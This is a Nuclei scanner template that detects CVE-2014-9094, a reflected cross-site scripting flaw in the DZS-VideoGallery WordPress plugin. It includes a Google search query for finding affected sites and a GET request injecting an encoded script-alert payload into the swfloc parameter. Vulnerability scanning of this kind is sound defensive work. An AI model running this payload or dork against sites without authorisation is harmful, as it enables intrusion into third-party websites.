nuclei-templates/http/cves/2014/CVE-2014-9094.yaml

42 lines
1.3 KiB
YAML

id: CVE-2014-9094
info:
name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
author: daffainfo
severity: medium
description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-9094
- http://websecurity.com.ua/7152/
- http://seclists.org/fulldisclosure/2014/Jul/65
- http://web.archive.org/web/20210615134835/https://www.securityfocus.com/bid/68525
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cve-id: CVE-2014-9094
cwe-id: CWE-79
cvss-score: 4.3
metadata:
max-request: 1
google-query: inurl:"/wp-content/plugins/dzs-videogallery"
tags: cve2014,wordpress,xss,wp-plugin,seclists,cve
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
words:
- "<script>alert(1)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200